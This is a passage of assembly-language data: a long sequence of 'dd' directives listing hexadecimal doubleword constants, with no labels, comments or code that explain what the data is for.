dd 4FF0E55Ch, 1E304321h, 0A3EB15FFh, 3D809457h, 0BB6A8D35h
dd 0D43E2BFDh, 0F6B1BDBh, 255D0133h, 0B3FEED36h, 546573C2h
dd 5FD76DA5h, 1D444087h, 237234BCh, 6F31CDDAh, 0B7FEDD7Fh
dd 0F2C6C1E6h, 53E9164Ch, 724E9CE7h, 0F654ED96h, 0CD44A22Bh
dd 9CF132Eh, 9026E19h, 0D48DB23Ah, 973946B5h, 0B50A2CBEh
dd 2AFC4A68h, 90FCA117h, 73684259h, 31DDBFDDh, 2D8BA754h
dd 7B3B7554h, 0DD28B905h, 0E8E507DBh, 0EA9F9648h, 89F0FC32h
dd 0C01C3D39h, 0EAADCD99h, 0A3A11D0Eh, 0DD94CEFCh, 7B62C60Fh
dd 4500A55Ah, 3A219A09h, 564FE824h, 11EBDE1Eh, 102E1ABEh
dd 96E980A2h, 1BA51E19h, 8CD109F6h, 0B843C5E9h, 1CF4B1C1h
dd 0A52855BEh, 24242C30h, 0BD0E0DDh, 19579D94h, 245934BCh
dd 741C55h, 0DAC16123h, 2F10D4C5h, 25884757h, 9E87B7D1h
dd 854F0A6Eh, 0DF27E1DBh, 0E360952h, 0F1150E42h, 8D534880h
dd 0F5B69D7h, 0C55CACCFh, 0D25EB6FCh, 0ED8D10E1h, 1E32F59h
dd 0B2C210EAh, 0D8C76579h, 2F50B92Bh, 0AC15C0Ah, 2EF2CFEFh
dd 68885886h, 33E3B2D9h, 0FC6E8AF4h, 1A4E72E4h, 3B651C1Eh
dd 0FDF1B283h, 38FB07E6h, 8063B3BDh, 0AA998610h, 68AEF6BCh
dd 0EE44E0B2h, 0DAA635A4h, 0AB10F040h, 0FD7EEF3h, 0F8FB5D28h
dd 44B95635h, 499B9FF8h, 101E3115h, 1298CD27h, 5A6F9D0Dh
dd 4DC3FD5Dh, 0A252C033h, 5288D0DCh, 2DD4AD59h, 8F58EA6Bh
dd 79B7AD08h, 0C1727CE0h, 3AAB4E67h, 0F252AAB3h, 5840F4BBh
dd 96D2637Bh, 5A2EC4D6h, 0ED3C91C9h, 3856CC31h, 927EAD08h
dd 16F3C044h, 0F409EB43h, 0DD2B55B1h, 0D3EE851Ah, 0CEE89008h
dd 9978347Dh, 0E54CFF05h, 45A180CCh, 1FF66810h, 0C121883Fh
dd 5B5A4214h, 7F12C40Ch, 75B747A3h, 4F394877h, 50B602DCh
dd 0A2917B97h, 967A3793h, 8AC6E788h, 2FE91520h, 638F1592h
dd 5FAAB485h, 0FA65BF15h, 0AF343FC1h, 375DE716h, 71C54D49h
dd 0DA07CDB4h, 124AECEh, 133B48B4h, 1055FF24h, 346AA8A0h
dd 1E5DC066h, 0A250D66Ch, 2BC2CB02h, 0DBE23335h, 4CEBF2CDh
dd 4509140Dh, 30641272h, 0EF5D1505h, 867E4415h, 0E7F5AEE9h
dd 0F5B1563Fh, 0CAC16683h, 73A98A91h, 0DF7A13DDh, 548BB479h
dd 5A36EC26h, 0B052C263h, 2E662109h, 98354D22h, 3395DB50h
dd 0A37E85BFh, 0E50A4864h, 9FC5C70Bh, 5ADC2EBAh, 77CFFC29h
dd 79CBE713h, 9CBE8E2Eh, 69429D75h, 9B0F318Fh, 0F6970F6Fh
dd 7EECCB7h, 3D57000Ah, 36BAF7D1h, 8F183652h, 9934A205h
dd 553989B8h, 65ED6AD5h, 3ED4CDAh, 8CFBC491h, 0B591A00Ch
dd 455E9EADh, 64EB2C7h, 342377Ch, 3AD637ECh, 856B1CC1h
dd 0FD71157Dh, 0EC675291h, 923C67FDh, 0D9A67579h, 0CE678724h
dd 9F2AD25Fh, 0C7584F37h, 2D226102h, 20D286B2h, 0AF89D3AFh
dd 0ACBC16DEh, 9FDA0404h, 9A39DD67h, 0C5A9BC69h, 0C66827B2h
dd 73EA76D1h, 8F2B82Ah, 9BD1E325h, 0AAD0985Dh, 0D191FBC3h
dd 0C381BB8Dh, 82498F4Ch, 28508003h, 0CBCD575Eh, 0FB7E57C5h
dd 2AB01599h, 357E74BEh, 7522943Fh, 0F1C18490h, 0BDB41532h
dd 1BBEA3D7h, 2B88ABEAh, 0EC04E9DDh, 13CC5D5Eh, 0C7FBFB5Fh
dd 816D9C97h, 0EABDF5BFh, 32D607ECh, 0DFBEB8B5h, 3EFF6302h
dd 528410EEh, 24C2FC8Ah, 98E164FBh, 31B507Eh, 14F90593h
dd 54172568h, 6109472Eh, 0B5376725h, 0FD39D1ACh, 24A57EAEh
dd 5C773E9Ch, 0DAECDB21h, 13462D3Bh, 3D52ABB9h, 26754EF9h
dd 53D578BBh, 37DF1F2h, 0E1D221E2h, 801D501Ch, 0D2D091AFh
dd 23AAF041h, 6C9467A5h, 0BC264C14h, 62167F4Dh, 0A5BFA7FAh
dd 3EC855DCh, 175F0E11h, 0BE8D30F2h, 0B4013A78h, 0E62D81A6h
dd 0FD317062h, 0A31871EBh, 90C95D67h, 0B376CB07h, 507ACCF0h
dd 0BE471628h, 9EE23ED8h, 72FE48E4h, 0F22AE627h, 1EB03F25h
dd 0A4DC058Bh, 4CCA9BCBh, 0CE23145Ch, 84765DF5h, 8AF341F7h
dd 0E6367905h, 0C859D96Ah, 22015F6h, 94E8B518h, 0F2ADAC87h
dd 0E75D4057h, 9D887D6Eh, 9F0AF6B9h, 0A1FF8D22h, 0F2199516h
dd 0A5BFA3CAh, 6FD7CC76h, 362B71BFh, 34A16B87h, 6780D3F0h
dd 6382F33h, 0A1533FCCh, 4A5C4488h, 0A2049BF8h, 2E1F81C6h
dd 0D2301CC7h, 35873AD3h, 58049EFBh, 447F17E2h, 232E6533h
dd 0E11C2776h, 0D24FFD51h, 0F88BE9F2h, 30056308h, 0AF9F43AEh
dd 3785886Dh, 0DBC32303h, 55935BB8h, 447086BAh, 0A7F88273h
dd 7AB40F79h, 0D26A5320h, 85DFD3A6h, 0E75F0FB7h, 6849C118h
dd 61924690h, 5C63535Ch, 2F519F05h, 0AFC81082h, 77B023A6h
dd 1A5C9DB3h, 0B499FD65h, 79075D53h, 0ADD14F5h, 1EED0D1Bh
dd 51574DD7h, 1080B2E1h, 0C2226BAh, 7F3753C7h, 4540BC5Bh
dd 0F9299BF7h, 5DFEDE9Dh, 94487B11h, 0DB7B5AAFh, 0B2FD9202h
dd 0C0DFDC8h, 0F5E8DC00h, 0AC41EF2Dh, 8B61A7Ch, 1E6BC58h
dd 303A6F27h, 0C139003Ch, 1A9F8A62h, 3AFA95AFh, 5AFCCF3Fh
dd 3D9515C2h, 299DD658h, 9833B525h, 0D8D48D68h, 964FE3E0h
dd 0EA32BD5Ah, 78C0C212h, 4F5B291Bh, 52218D82h, 72FF4DCCh
dd 0B45C8072h, 998D639Dh, 0E39D502Eh, 2C78B06Dh, 0FE8AD23h
dd 10A8F16Dh, 4EC0DED6h, 9CF68B7Fh, 7FA3680Bh, 5D04257Bh
dd 0E0B6F459h, 31464EFEh, 519684BCh, 1FABED01h, 600523C8h
dd 149BB501h, 0A5F163BAh, 0F9115FCFh, 24C3AAEh, 0A7A5372Dh
dd 9B7A32AAh, 35A94ED9h, 707480Ch, 0E44FE8BBh, 0ACAC6EE6h
dd 75848B8h, 52628E5Bh, 0F763C787h, 925C385Fh, 0B95407DDh
dd 992A490Bh, 0C3E9FDBDh, 0C9B343BAh, 0F268D1F7h, 1BBD436Fh
dd 6E30046Fh, 0EB1F43E8h, 63B8D90Ah, 0FDDE9314h, 2A14848h
dd 0BB1AC387h, 0B3B7B17Ch, 7F48C24Dh, 0ACA47741h, 7E60D05h
dd 0D865C1B4h, 9CA4DA39h, 0CA1B2D4h, 850F23D7h, 0B395EB11h
dd 25E46498h, 8BD72E00h, 9746E464h, 963BDF20h, 479B2A7Dh
dd 9AB42692h, 81044F54h
dd 78CD69Bh, 48DC2491h, 0C5AA0F7Eh, 0EB11155Dh, 0FBFF6904h
dd 0DC106A3Eh, 7C55C4D3h, 83C8DB2Ah, 0D6886753h, 0A50717E3h
dd 0EDB75CFh, 3DC29084h, 0A3E2AC63h, 1CEF089Fh, 1171E482h
dd 0B508ADE2h, 4AF7B25h, 4E788288h, 0F999572Ah, 7B8BD651h
dd 0B6EFFCFEh, 16FB25E4h, 860FC377h, 2AFD0DBEh, 20695B33h
dd 1CB91670h, 59634444h, 0E612162h, 0C15AC725h, 26CB6A7Ch
dd 80840A50h, 0BB112115h, 88012487h, 21C8C55Bh, 4119912Ch
dd 0B7AA0364h, 0CBB84494h, 378A0848h, 0EB2C5A52h, 0C2E51A4Ch
dd 0F0A408E0h, 0CAB38CE6h, 6195FA0Ah, 881C7CEBh, 1541D1E6h
dd 0EB5159F3h, 0AE66636Ah, 59CF4BDDh, 365FFEA8h, 0EC7FE7ACh
dd 0AC31ED33h, 61F109E3h, 0EB565728h, 634353CCh, 1E52F69Eh
dd 9370FDB1h, 0E9C4B44Eh, 0A2389C54h, 427D481h, 0F58ED0AAh
dd 0EFF2BD5Eh, 607E89DFh, 0ABA332ACh, 0A2DA8D4h, 23240821h
dd 41AC7C98h, 94E17C07h, 17D2BE68h, 1B8D8972h, 1E0E112Dh
dd 0DDC2057Eh, 0ED80CDD6h, 0DF4DA868h, 0A28406B7h, 9E222702h
dd 2384E251h, 79D7A6F5h, 48E44C34h, 6CBECB66h, 7A86FD9Dh
dd 0D7FC21B6h, 40055E59h, 3C309739h, 32B03C2Bh, 22E6257Eh
dd 8981F81Ah, 0D1240252h, 6CC5D5CCh, 0D3649223h, 73047CFBh
dd 0C6CB351Ch, 39C1C522h, 98D43B54h, 0A55A20E2h, 964BBD0Fh
dd 48798DD7h, 9EBA5C83h, 0B205939h, 0EA7E6C3Eh, 1057C7E6h
dd 0AC938E99h, 25CC0899h, 0B9FDEC2Fh, 0E1A0926Dh, 0E5206F0Fh
dd 0EE75C72Bh, 6C432C2Ah, 0C98E7470h, 0A0BF4EE4h, 97BF0CD6h
dd 0ABD4AD5Bh, 7464EB8h, 1AAD13FCh, 0A826683Dh, 0F7FED207h
dd 0B7306895h, 269C4B01h, 896F580Ah, 0A9A112F4h, 0C65F6226h
dd 67C42FECh, 58E938C3h, 369A89B7h, 0F49362FAh, 0C2DC3856h
dd 0B9731DB9h, 5492519Dh, 0B68D1193h, 3A343BA8h, 0B9D1921Eh
dd 0B7D2690h, 7BAFAEE8h, 5FE2795Bh, 9953DBA9h, 12D9F527h
dd 0BF2BCA60h, 0C9A894CFh, 24DA8106h, 65C31A7Dh, 0E0768BEEh
dd 17174A3Dh, 0C4C11B47h, 67043797h, 13C14CD3h, 0CE399B97h
dd 0A18EB994h, 0AD98F6B0h, 0B1BB3531h, 23DC1276h, 5778EA7Fh
dd 8B6CAD4Ah, 0AC0558E7h, 1F5CADF3h, 0F1251133h, 7FB015FAh
dd 0C54C8376h, 37016B90h, 0FDAEDEA1h, 1C25140Ah, 5ECB5335h
dd 2E02A842h, 0BF5ACB61h, 3F09749h, 7E10ED9Eh, 0BAE5E4CBh
dd 0C1CC463Bh, 0C23FC0B4h, 57DED441h, 85724393h, 930E10F4h
dd 0B33A7478h, 0B2957F9Ah, 68162D0Eh, 0F521D6EAh, 63C43BDh
dd 5572A457h, 0AB6BE809h, 211C1CABh, 0AE38F6DEh, 55EC49E8h
dd 0F16E50E7h, 6A504E81h, 68984C6Ah, 0ABBEC815h, 60C53690h
dd 0C202D524h, 0A089FE1Ah, 7AD0B942h, 9D1C02ABh, 2D2AEB83h
dd 84A69B55h, 0B68B7359h, 2FF24C49h, 8D46A98Fh, 4BECD17h
dd 58B99569h, 23E37E74h, 0A6A4D1F4h, 4C60FFE5h, 70107713h
dd 20F64B7h, 8809FD93h, 93EA3B8Bh, 460DDE57h, 39995645h
dd 0BAA292CEh, 53C42DCBh, 0DDA0CA4Bh, 8A4C6A30h, 1ACAC122h
dd 0BB3F1C8Ch, 0BFBBB4C7h, 41C32031h, 0C9036350h, 0CDA432D7h
dd 0F7C36E42h, 1B4BFEFEh, 45129138h, 0E4BA4477h, 33CF55A6h
dd 94F31ADBh, 0BDF51C7Ch, 11852130h, 0BAAE0352h, 0C54BB347h
dd 1122F4F5h, 6518C22h, 0CF49F049h, 39CCA3DEh, 0DE4D7E30h
dd 0C0C3629Bh, 7ED0F4CEh, 106EA613h, 0A1863854h, 0DEBB35DBh
dd 8ED9A961h, 6CED750Fh, 3653C55Ah, 0DC7CC9E3h, 3880A1ABh
dd 927CB9E7h, 0A5EEBEFh, 412BE410h, 87A82C3h, 8B55F3CFh
dd 6C9A5A46h, 8E86FD01h, 53492D2Ah, 0B9600626h, 0B969AAE2h
dd 0E11160ECh, 11F8862Ah, 9A7AB7A7h, 284DE545h, 53CBAC37h
dd 0BF96F04Ah, 7BA64B89h, 672ABE4Fh, 43F92251h, 0B0223AE4h
dd 0D18634D2h, 0B9F2ED74h, 0CBF03C80h, 0D40CD96Ah, 77DF912Dh
dd 0F9962469h, 3A2526BAh, 0D2C3CF3Fh, 74727B78h, 0F5E9FFD6h
dd 0E6E2EF37h, 856C3337h, 0DA4CC8B2h, 4633083Bh, 84D151DBh
dd 0D1B11462h, 0F8DA2162h, 0B8CFEE34h, 1A649272h, 0A94FE473h
dd 4F97996Eh, 89391F97h, 78421703h, 0FEEF76BFh, 7597EA81h
dd 0A503C8A1h, 0E89E5CFBh, 0E5D07523h, 0A9393D3Bh, 324E4DCAh
dd 9F4E817Fh, 0D9EF5AA7h, 548DCA1Ch, 0A0D7AA69h, 1EDAFBB1h
dd 0FF1638FFh, 0FFB76E73h, 0F7A7E2B4h, 4146FEDh, 242D5665h
dd 4FE56B36h, 580E3905h, 84CA9E3Dh, 8B16A59Fh, 7B3D366Dh
dd 2E458E2Eh, 8FE076D5h, 0B26240Ah, 0B366E562h, 0EDAC802Dh
dd 0A766F54Fh, 0FE841DEFh, 0B7D072E0h, 18785694h, 395B77CFh
dd 5E902F4Bh, 0E628EFB7h, 0D127BF5h, 1D606A34h, 0E75181E7h
dd 1B31EC6Bh, 703E4AECh, 0F2489002h, 3CE5DD17h, 69F4E25Eh
dd 9E553F0Fh, 2DD696C8h, 34354DDCh, 0D4C7FA63h, 29F1A2C5h
dd 0A823FDDh, 0FB7FC62Ch, 27B2388Fh, 9850ED25h, 0C3DE465Fh
dd 0BB4FA558h, 20B45039h, 0DE8F8718h, 94492832h, 0C00015Eh
dd 780413B6h, 58A28C95h, 90814565h, 0F5985AE7h, 0BEE8EF04h
dd 0EBED445Eh, 39D81919h, 331E4EF2h, 39CD5341h, 7C5C6B9Eh
dd 2CBF5B0Ch, 74991A12h, 9BA09141h, 325C7BC3h, 94EC58FFh
dd 2E25491Dh, 5EE3D85Dh, 77796FF9h, 0F502E923h, 0DEE2D50Dh
dd 8913C4ACh, 723A879Ch, 0CB5A86AAh, 3FFC558Ah, 0F0A9A7Ah
dd 0F3C0E6Fh, 1894D73Ch, 6231C00Ch, 66B0466Ah, 9FD12AD7h
dd 0F029C584h, 16FFDF8Ah, 711BCC4Ch, 26F776C9h, 97F0E89Dh
dd 135E7372h, 0BB06B682h, 0B4F018D1h, 83032620h, 75F4E69Ah
dd 0AB98EFAFh, 276A2FB1h, 74DED5Ah, 0F79FBF98h, 7A40C085h
dd 320E5E84h, 4946CDBAh, 0CFC3931Eh, 0AF38054Ah, 0A684083Dh
dd 0FD1446B2h, 0BF52C694h, 0E7E2082Eh, 0D3F1B34Fh, 618DFE32h
dd 55DEE301h, 8D46CCDBh, 4E211197h, 69E93297h, 0FF1EEB09h
dd 3C4822ECh, 584887C7h, 0FDBFA1BEh, 0BEE80788h, 324E0ABBh
dd 8DD41C70h, 6ABD9022h, 0FC1CFAAAh, 0BABA90C2h, 7F332122h
dd 6A12D2AEh, 25C4642h, 0F72ECE6Eh, 35029DFCh, 990E2D4Dh
dd 76F88F7Fh, 0FAD14A60h, 0F6D4307Dh, 75507708h, 0AB036780h
dd 0D5FCC15h, 1DAE4E8Bh, 1F25C219h, 0E0A1C873h, 0D62F97EAh
dd 351057F6h, 4621F2EDh, 0ED8F90Ah, 1C8F88B7h, 0E69E1973h
dd 390899C6h, 7F7D287Eh, 858C02ABh, 0EA192F20h, 598A257Dh
dd 14B490D9h, 48672C3Eh, 0AFB8473Fh, 1C5AAF50h, 394E74F1h
dd 0B41B8A6h, 3CBC09Eh, 0CA36840Bh, 7FC67D3Ah, 813E1CBCh
dd 60D01CFAh, 0C5C49634h, 0D8A393C0h, 0C9CFA53Ah, 17E4CCDEh
dd 4891B0ADh, 3391742Dh, 6A02ED5Bh, 0BE29786Eh, 0CF255AA1h
dd 97F9CD8Eh, 51E64142h, 272FAEACh, 0A6BCF8EAh, 0E41FF26Fh
dd 9F56CA53h, 25E6FEB6h, 952FD1C0h, 11627560h, 779DA897h
dd 87E19E64h, 0CD46A45Bh, 1A2F7937h, 3B828F96h, 5D98DA6Bh
dd 6CC88AC0h, 0BEE947F9h, 81CA1FEFh, 7451B87Ah, 762BB1D1h
dd 0FDC30E9Eh, 26255834h, 70504E2Ch, 40611279h, 569C328Bh
dd 5B62EBE2h, 0AAC8AE2Bh, 6B88C80Ch, 7209CCC5h, 99CC81F3h
dd 20D229BBh, 1AB3DD61h, 0A51A34DCh, 0F3FC0643h, 4B011C6Eh
dd 764CC2D9h, 87E468D7h, 830F42CDh, 616C7A1h, 0DA3CFF98h
dd 5A9C377Dh, 3753B0Fh, 1ADAB60Ah, 0A80A015Bh, 4F5E0ADAh
dd 0D13D6DFCh, 1069A04Ch, 37619AF6h, 260EA34Ch, 4054E40Eh
dd 0E1BF23EDh, 0C395F0DBh, 0BBD68E10h, 0E081A681h, 116E92B7h
dd 38F7625Eh, 0FD873F1Eh
dd 3A992637h, 36C85130h, 26AA0B64h, 631CC8F8h, 0CC858B6h
dd 5CAA883h, 63CC7001h, 92C9FB63h, 0DCBE98F2h, 0A1B04768h
dd 0B63F71h, 6C39CE03h, 9F67462Eh, 0E3071A3h, 0A6A6EEA3h
dd 3232149h, 2FE8F32h, 0F1499E49h, 0EC0C5225h, 0C6BBA460h
dd 0F23C2305h, 0C3B94F1Ch, 0B1D0F618h, 5DED77D1h, 0B39B937Eh
dd 9BDBAC26h, 3539484Ch, 0C5B57AD4h, 0E81D49F6h, 0CA1E16DDh
dd 191922B0h, 3F99DDE9h, 8E1DAD2Ah, 973C252Fh, 5BD879ADh
dd 0AEA5CD77h, 8EB9B83Eh, 0EDCFDC5Dh, 1DCF185Eh, 6E34F811h
dd 0CACF3CAEh, 85D8AEBh, 0DE5F0F6Eh, 820D03F5h, 2F156115h
dd 0C8AF8008h, 0C81D9C3h, 49B84F5Ch, 0DF1B798Ch, 5335076Bh
dd 0BFB6D747h, 0C18878ABh, 60B927D1h, 0A73F0571h, 31B3463h
dd 0B67843CEh, 0A1C13E96h, 75E48D3Fh, 0FA8D8C35h, 0FCA1958Fh
dd 6D1E373h, 0E3557D12h, 4BAA75F5h, 0F479C96Bh, 6C53855h
dd 4C22C40Eh, 0F9EBDE4Fh, 9C874D20h, 98C0306Fh, 3D2BBE7Bh
dd 0CDF060FDh, 0AE351F45h, 0D8616099h, 1299C5E6h, 4B70B7D4h
dd 37A4B7Dh, 0CCD16F58h, 6254BC50h, 0ED9E3B5Ah, 544B8136h
dd 279B7992h, 0AF1B36E8h, 66B201A3h, 77017E61h, 7DEAD966h
dd 0F0B7575h, 0C14488B1h, 0AED2959Dh, 589C5AE8h, 4CE8C482h
dd 3EEF99FCh, 0B7FEAC9Eh, 51CDB063h, 0B0D0C0BBh, 0D1FC0C68h
dd 4D1D6382h, 55B482E3h, 0AD7CDFC0h, 0A5A48053h, 4068B528h
dd 0BA1A864h, 0BFA06EA4h, 5D74A1Eh, 0B99DA018h, 0C9FFBAB4h
dd 3B7DD890h, 8BD88192h, 0A123304Bh, 0A9B1CEEFh, 78F5EC08h
dd 0A309FB66h, 0A113DDC3h, 0C34DCE7Eh, 507A33F3h, 0F45E5923h
dd 9CA2A39Ah, 0EDBBEB1Dh, 48CE5ED1h, 86816F47h, 9722A65Bh
dd 289F3FC6h, 0B61E6C6h, 59539DDEh, 0CF843E19h, 97573FC0h
dd 0F50A4FCFh, 26084DF9h, 14E8808Dh, 17CDC867h, 0D5B78420h
dd 0D7613F89h, 0C7ECB9Fh, 3606ABF4h, 4128980Eh, 6A8467B2h
dd 5C662BF5h, 0F2C1A08Ah, 0AF7B802Ah, 0CE8924F4h, 0BA4B666h
dd 1461F3D1h, 0D66C5F2Dh, 0A60E462Dh, 0B964596Ch, 93638D28h
dd 0F025A0D3h, 0FF5B9F41h, 0B6EAFE59h, 454B8A71h, 0E138FBCCh
dd 0C86E61E0h, 0F7246956h, 0D7B03944h, 221EE109h, 3A0A4D61h
dd 0B081BE5Eh, 7DDCB55Bh, 617CDFA0h, 671B74A2h, 52C83624h
dd 79A4F21Bh, 5F188646h, 79620F12h, 0D64680A4h, 3738ADA3h
dd 0C79DDCB9h, 0FA7D21Eh, 836E04A1h, 0D3153365h, 65D45F7Bh
dd 530D22A5h, 7D4B1A6h, 0CB024EBFh, 0F0E7336Eh, 5ADF5ECDh
dd 0D08821C0h, 0F27A8E99h, 46DF9B7Ah, 20F772F4h, 96DB98CFh
dd 0AF108C8Eh, 6FAE43ECh, 22283B07h, 39C80604h, 0F758D957h
dd 0F3D4F5B3h, 0EEB3120Ah, 0F8AB6AE3h, 4657ADDDh, 684E02Eh
dd 2C03E847h, 26D648AAh, 6A8A3713h, 0BA308616h, 0DA20574Bh
dd 993E043Eh, 0CBB0E626h, 41BC9A0Ch, 72E8B42Fh, 9FFD15Ch
dd 9620DAC8h, 0AFE3A838h, 1EE2A5FCh, 0A143BA59h, 0A21B8F0Ch
dd 0E4EC4B89h, 1A70BFBCh, 67060C14h, 0F341C9E2h, 5EEF448Dh
dd 0A38A0918h, 45D56180h, 248B12D2h, 4816131Eh, 0BCC52E8Ch
dd 0B59A4953h, 0D05EBE77h, 48CC693h, 231B1F5Eh, 51786E79h
dd 22A61370h, 21FBC085h, 0D4A7DCDBh, 41A1BEEFh, 9A6BE7A8h
dd 7DEA33C6h, 77C4AC44h, 5E75F94h, 0D3791593h, 0F061BE6h
dd 0CCB4EC02h, 609F334Ch, 3EC8DE11h, 763327FFh, 0C9416FD5h
dd 0D0332F1Ch, 0C6721571h, 0A434A15h, 65F6E0C3h, 0B6DB84E3h
dd 989183ADh, 32764441h, 29DA8363h, 897672F1h, 0E813148Fh
dd 6A949515h, 7CFED957h, 0AD915BAFh, 2E59CD07h, 7A4579EBh
dd 84F7F275h, 3532E32h, 4E1231B4h, 6C70B120h, 0DF1967A4h
dd 6B1B8DBBh, 6B2EB1D9h, 8D2A593Eh, 8F6FA1C6h, 9A2CE1ACh
dd 3872721Fh, 97E8AD14h, 50039A02h, 0D16A767Ch, 54FF2F89h
dd 99E32D1Fh, 0F1F34553h, 7ED45931h, 1F364DE8h, 0EB5352E9h
dd 2A79E776h, 4B0EF5Ah, 8DF584E7h, 7763DF03h, 0CE32A806h
dd 0BE828F00h, 5B7BE677h, 0C5462482h, 35824CD7h, 0A0C23B9Ch
dd 96D94202h, 788B6CF4h, 3F459F07h, 0EA57B25Dh, 74A591F1h
dd 4CCB48ADh, 69B3A7FBh, 88A98943h, 47A93F35h, 0AD125A22h
dd 9A38DADAh, 11612D90h, 0C4EE1E1Ah, 0D108F318h, 0AFCC249Ah
dd 70716DD5h, 82C789CFh, 0EB9640DEh, 6DA63E53h, 0D7EA7501h
dd 2B5FD0AFh, 65860B5Dh, 0CD7A15BDh, 0B1BB416Fh, 8B5D9651h
dd 0AFC16DD7h, 0CECCD76h, 53170657h, 0DB45E587h, 232FE8D3h
dd 77B9843Eh, 0E7FCB628h, 9140E872h, 0A5C5F91Dh, 0B89FF9E7h
dd 177ACC8Ch, 0FE9430D6h, 3B9EEAC1h, 6D59FE99h, 871C437Eh
dd 694A0BEEh, 0D138EC02h, 0B3C1F397h, 1D06824Fh, 67EA71B4h
dd 56168F07h, 0F02BC484h, 83AC74D4h, 920410B2h, 57D016F1h
dd 41460F98h, 0C451412Fh, 3C0C14A3h, 4352A8F8h, 7094ABC4h
dd 5828B69Ah, 3519B7Bh, 0DC93461Ch, 0F52032F1h, 5D328190h
dd 0F450CECEh, 1CB5CE0Bh, 28C103DCh, 18606990h, 271C511Fh
dd 0C9A042E6h, 4E0553ABh, 9C85EEAh, 0EAE2EB37h, 0B51EA76Ah
dd 0FE33DF5Bh, 67213B4h, 981954CAh, 0B78B73B2h, 0C6696918h
dd 0D4E1C0D4h, 7E82021Fh, 6DCB9EF7h, 0D734F008h, 0E74DEAB9h
dd 2DDAA5CEh, 24E2B339h, 0C4A1B996h, 12DFE01Ch, 0AE78A0ECh
dd 0E98410DAh, 0BE29A065h, 0EEB11A9Fh, 0E6077C51h, 4900044h
dd 8CCDBD6Fh, 0B4F82F54h, 173985C5h, 5E03282Bh, 8C62F58Bh
dd 0BA57F88Ah, 3313D623h, 5643DD00h, 665DEB54h, 16F2E8B8h
dd 9A3D1F0Fh, 0CB45837h, 0D97764E7h, 963B1DFAh, 744D7B34h
dd 7F590F72h, 5FE78C8Eh, 0CFB0C075h, 0F0B42EE9h, 42276BEAh
dd 4C573A75h, 6646AC92h, 5D969DB1h, 8ECF1A6Dh, 3BF4BAC9h
dd 0DA8FC1FBh, 0E0D97D4Ah, 8EBF2451h, 5BC36EAEh, 5397D5DCh
dd 0E556047h, 0EF47820Eh, 0A95416E9h, 0F49AD3E3h, 9D76F7C6h
dd 87683014h, 866CD3B2h, 0E7FC5305h, 0B06B3663h, 357266C6h
dd 0B2D763A5h, 94D6C9C4h, 24819AE5h, 6471B9Ch, 0B2B2CFA2h
dd 0FB916DA3h, 7EB9ECDEh, 5409FDE2h, 6F93C265h, 5694D2BAh
dd 0FF4A6D64h, 3E380E97h, 830B83A2h, 796C422Eh, 26C62E65h
dd 37B8779Bh, 6385A3BBh, 220B99EBh, 7431201h, 7AD54765h
dd 0D1FE876Ah, 92F91B11h, 2AFC6778h, 0D67F6963h, 0DD0F1061h
dd 0E724BCECh, 759835F7h, 0EA2875E3h, 65C2A7F7h, 594DB324h
dd 3928D809h, 17A7A2A8h, 0F748C04h, 59F35390h, 563C439h
dd 6BE84819h, 6E0B518Dh, 0EFA418A3h, 0F7DFF29Eh, 3E4AC569h
dd 29BE42FDh, 0A2A854E1h, 0A9D661D3h, 78B337BFh, 56D2E0AAh
dd 0A872351Bh, 0F2FC0E3Eh, 0B47D18B0h, 681592BEh, 0DCF47FD6h
dd 0DEC6C54Ch, 86214BF8h, 782A906Ah, 16830CDAh, 4B174D94h
dd 1BDC1B59h, 95F68316h, 7D202CEBh, 5A2CC51Dh, 0CAB56C6Eh
dd 0C60B5C64h, 0EF30A1D0h, 9C2F460Fh, 7BE2EE6Eh, 0CE8FF90Ch
dd 6B9FF10h, 9C808617h, 0D1F78879h, 8F77F800h, 0FE0540BFh
dd 6C9D0737h, 82F1FBBEh, 6294FD40h, 3C1C34B3h, 0EC5989C8h
dd 0C8DF066Dh, 0EE0EEE6Ch, 0AD836A88h, 90456D04h, 7F5F6D00h
dd 56B3BA8Ch, 1AA4DCDFh, 0EEDC07E2h, 5ACA90F9h, 0F71883F2h
dd 1C38F4F5h, 0F60F914Bh, 0D3FD6B6Ch, 335E511Bh, 9EF4B2B5h
dd 15AD6A13h, 0EB77F299h, 0FEAAACBDh, 0C0777582h, 0E142B6F4h
dd 0D6000043h, 0BA418E7Bh, 323BB871h, 5B3CC76Eh, 43064ED5h
dd 0C39803F7h, 9FD1A62Ch
dd 790D49F6h, 0A5B3C6A9h, 0EAFE7E09h, 0B26F93DEh, 49A73F8Ah
dd 1DAD0EF8h, 2FD40095h, 0EBBE411h, 21318321h, 1CE04B8Bh
dd 0CF21A424h, 0C0412C88h, 332D66CCh, 9751A75Fh, 78005DCAh
dd 71DADB34h, 0B6EE62A5h, 378E0693h, 78179B23h, 9628EF22h
dd 1A07CDBEh, 8823AB5Eh, 0EBFD0334h, 9FF9A26Ch, 32B48311h
dd 2A01F2F8h, 0ECB61665h, 26C21C27h, 6D539A6Fh, 0FEF7FC91h
dd 0C615EB6Eh, 21082155h, 0CE1573h, 5B1F5F39h, 2336D849h
dd 12D0C4D4h, 15118870h, 3A4AD4D5h, 3DED261Fh, 3417154Fh
dd 72DA60h, 6675ED13h, 0B34BC36h, 0B037D02Bh, 6A27E4D6h
dd 0AF38BE4Fh, 7598D5EAh, 0C95F117Ch, 86B52DEEh, 1833948Dh
dd 84AFAD94h, 0FFEFBF0h, 3C5F913Dh, 7829C64h, 8C85317Dh
dd 883978C4h, 5B94F7BBh, 742C9DEEh, 630CACD0h, 0EC54D6AEh
dd 0CB6403C0h, 1D8FA1BDh, 8F8B8287h, 0C92585D3h, 0BAECBBE7h
dd 0B0D7A8C4h, 7312CF5Bh, 0BC87C2B2h, 0CEC94405h, 368574Bh
dd 82E429B9h, 9AC54619h, 55848A16h, 3952A6DEh, 6FEE3FAAh
dd 0A60EF70Eh, 7104F32Fh, 0FCBB983Fh, 5C3197CBh, 0BCE09AC7h
dd 4E000E6Eh, 0AB5ADE52h, 9323737h, 86808195h, 4F6C42E8h
dd 84DA9510h, 8705578h, 0A66239D6h, 3EEB819Dh, 0D955EA77h
dd 0E6CF097Ch, 0EA9C3EE4h, 7B3FF560h, 44BBD378h, 640AFC7Fh
dd 8057AA04h, 31B6B3D1h, 0CB49B9EAh, 9F201AFDh, 1940E256h
dd 7C9F6848h, 1EF62C76h, 45C73CA3h, 28F44CCBh, 0A6B40AC1h
dd 0BBE38D8Ch, 0C2DEE13Eh, 873F60Eh, 4C9088D5h, 27CAC84Dh
dd 71D8D7AAh, 308F5074h, 931C7BA2h, 1772FC80h, 0CE2EEEC7h
